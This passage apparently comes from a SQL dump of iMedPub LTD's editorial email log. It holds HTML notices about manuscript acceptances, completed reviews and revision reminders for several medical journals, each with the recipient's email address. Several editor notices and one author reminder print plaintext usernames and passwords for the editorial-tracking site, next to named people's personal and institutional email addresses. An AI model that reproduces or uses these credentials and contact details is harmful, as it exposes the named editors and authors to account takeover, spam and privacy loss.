solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7930</b><br />\r\n            <br />\r\n            Article Title: <b>Diagnostic conundrums in cerebellar cryptic arteriovenous malformations</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Victor Kwasi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7930</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',7930,'2021-05-15',75),(3132,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7930</b><br />\r\n            <br />\r\n            Article Title: <b>Diagnostic conundrums in cerebellar cryptic arteriovenous malformations</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kwasi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-15</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','victor.kwasi@sydney.edu.au',7930,'2021-05-15',75),(3133,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8442</b><br />\r\n            <br />\r\n            Article Title: <b>PERSISTENT HEADACHE AFTER COVID 19 INFECTION</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&Atilde;&shy;a Cristina Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-21-8442</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr.tavaressanchez@gmail.com',8442,'2021-05-15',274),(3135,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8435</b><br />\r\n            <br />\r\n            Article Title: <b>In search for the truth about hydroxychloroquine prophylaxis of COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Filipova</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','e.filipova.hq@tchaikapharma.com',8435,'2021-05-17',48),(3137,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8403</b><br />\r\n            <br />\r\n            Article Title: <b>THE BALANCE CONCEPT ON UNILATERAL VESTIBULAR HYPOFUNCTION PATIENTS CHANGES THE BALANCE AND QUALITY OF LIFE </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oliveira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','silviasobral.m@gmail.com',8403,'2021-05-17',1045),(3139,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8435</b><br />\r\n            <br />\r\n            Article Title: <b>In search for the truth about hydroxychloroquine prophylaxis of COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Filipova</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','e.filipova.hq@tchaikapharma.com',8435,'2021-05-18',48),(3140,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8389</b><br />\r\n            <br />\r\n            Article Title: <b>Comparison of serum electrolytes between Sickle cell and control group: A Meta-Analysis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ABHISHEK BANSAL</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-8389</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',8389,'2021-05-18',984),(3141,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8224</b><br />\r\n            <br />\r\n            Article Title: <b>ROLE OF VITAMIN D IN POLYCYSTIC OVARIAN SYNDROME PATIENTS </b><br />\r\n            <br />\r\n            Corresponding Author: <b>SIMMI KHARB</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Gouri</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-8224</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> adel<br />\r\n            <b>Password:</b> 4ijKPSZx<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','pharmagor@gmail.com',8224,'2021-05-18',984),(3142,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8170</b><br />\r\n            <br />\r\n            Article Title: <b>Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus: Seven Years of Active Surveillance</b><br />\r\n            <br />\r\n            Corresponding Author: <b>ENRIQUE CHACON-CRUZ</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-8170</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> olga_s<br />\r\n            <b>Password:</b> L3lYDvnM<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','olatinovic@ihv.umaryland.edu',8170,'2021-05-18',984),(3143,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8403</b><br />\r\n            <br />\r\n            Article Title: <b>THE BALANCE CONCEPT ON UNILATERAL VESTIBULAR HYPOFUNCTION PATIENTS CHANGES THE BALANCE AND QUALITY OF LIFE </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Oliveira</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-17</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','silviasobral.m@gmail.com',8403,'2021-05-18',1045),(3145,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8244</b><br />\r\n            <br />\r\n            Article Title: <b>Jejunal Diverticulosis perforation: rare cause of Acute Abdomen</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>dkhissi</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-21-8244</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>yassine</b><br />\r\n            Password : <b>XgXWUSkn</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','yassine.dkhissi@usmba.ac.ma',8244,'2021-05-18',319),(3147,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7871</b><br />\r\n            <br />\r\n            Article Title: <b>Bradykinic- mediated angioedema related to alteplase successfully treated by frozen fresh plasma (FFP) in Saudi Arabia: First case report and literature review.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Narjes mokni</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7871</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7871,'2021-05-19',75),(3148,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7871</b><br />\r\n            <br />\r\n            Article Title: <b>Bradykinic- mediated angioedema related to alteplase successfully treated by frozen fresh plasma (FFP) in Saudi Arabia: First case report and literature review.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>mokni</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','narjes.mm@gmail.com',7871,'2021-05-19',75),(3151,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8068</b><br />\r\n            <br />\r\n            Article Title: <b>Assessing factors associated with poor community based health insurance client satisfaction level with public health care services in NegeleArsiWoreda health centers, West Arsi Zone Ethiopia</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Wanamo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','tilahunjimma2008@gmail.com',8068,'2021-05-19',85),(3152,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8244</b><br />\r\n            <br />\r\n            Article Title: <b>Jejunal Diverticulosis perforation: rare cause of Acute Abdomen</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-21-8244</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ivywang@creighton.edu',8244,'2021-05-19',319),(3153,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8086</b><br />\r\n            <br />\r\n            Article Title: <b>PSYCHOLOGICAL AND SOCIOECONOMIC PROBLEMS ON DIABETIC, CARDIAC AND OBESITY PATIENTS DURING COVID PANDEMIC </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>prince</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','greeshmaprince96@gmail.com',8086,'2021-05-19',48),(3154,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8329</b><br />\r\n            <br />\r\n            Article Title: <b>Deep Glimpse on T1 Diabetes and its Curation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rana</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ranapreeti345@gmail.com',8329,'2021-05-19',48),(3155,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8086</b><br />\r\n            <br />\r\n            Article Title: <b>PSYCHOLOGICAL AND SOCIOECONOMIC PROBLEMS ON DIABETIC, CARDIAC AND OBESITY PATIENTS DURING COVID PANDEMIC </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>prince</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','greeshmaprince96@gmail.com',8086,'2021-05-19',48),(3162,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        